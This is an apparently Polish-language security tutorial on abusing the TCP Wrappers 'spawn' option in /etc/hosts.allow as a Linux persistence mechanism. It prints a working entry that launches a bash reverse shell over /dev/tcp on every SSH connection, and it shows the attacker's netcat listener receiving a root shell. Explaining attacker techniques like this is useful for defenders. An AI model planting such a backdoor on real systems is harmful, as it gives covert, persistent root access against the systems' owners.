P
akiet TCP Wrappers jest instalowany domyślnie we wszystkich głównych dystrybucjach systemu Linux. Zapewnia on kontrolę dostępu do usług sieciowych na poziomie hosta. Najważniejszym komponentem tego pakietu jest biblioteka libwrap.so, z obsługą której kompilowane są inne programy. Dzięki temu podczas próby połączenia z danym programem TCP Wrappers na początku odwołuje się do swoich plików dostępu (tj. /etc/hosts.allow i /etc/hosts.deny), aby ustalić, czy klient ma prawo połączyć się z daną usługą. jeżeli klient otrzyma zgodę na połączenie, TCP Wrappers zwalnia kontrolę nad połączeniem z żądaną usługą i nie bierze już udziału w komunikacji między klientem, a serwerem. Oprócz kontroli dostępu i rejestrowania połączeń, TCP Wrappers może wykonywać polecenia w celu interakcji z klientem przed zablokowaniem lub zwolnieniem kontroli nad połączeniem z żądaną usługą sieciową. I tutaj pojawia się przestrzeń na mechanizm utrzymania trwałego dostępu do systemu.
Najbardziej popularną usługą, która posiada wkompilowaną obsługę biblioteki libwrap.so jest SSH:
Dlatego instalując mechanizm persystencji w TCP Wrappers po pierwsze: nie ingerujemy bezpośrednio w usługę SSH, po drugie: mamy pewność, iż prędzej czy później ktoś go uruchomi, ze względu na fakt, iż SSH pozostaje główną usługą komunikacji z serwerami Linux:
root@darkstar:~# cat /etc/hosts.allow sshd: ALL: spawn ( \ bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/31337 0>&1') & : ALLOWPowyższy wpis wykorzystuje opcję spawn, która umożliwia wykonanie polecenia powłoki jako procesu potomnego po zezwoleniu połączenie przez regułę TCP Wrappers dla usługi SSH. W pierwotnym założeniu służy ona głównie do wykonywania takich zadań jak: tworzenie niestandardowych wpisów w logach lub zbieranie informacji o łączącym się hoście bez przerywania samego połączenia. Tutaj wykorzystujemy ją do uruchomienia reverse shell. jeżeli teraz zwykły użytkownik połączy się z usługą SSH – choćby nie wpisując poprawnego hasła – powłoka bash „zadzwoni” na adres atakującego:
agresor@darkstar:~$ nc -l 31337 bash: cannot set terminal process group (1075): Inappropriate ioctl for device bash: no job control in this shell root@darkstar:/#W regule zezwalamy daemonowi SSH na połączenia z dowolnego adresu (ALL), dlatego każde połączenie będzie aktywować nasz mechanizm. W bardziej rozbudowanej wersji możemy dodać weryfikację, czy już mechanizm został uruchomiony, aby nie uruchamiać dalszych instrukcji itp.
Więcej informacji: TCP Wrappers, Using tcpwrappers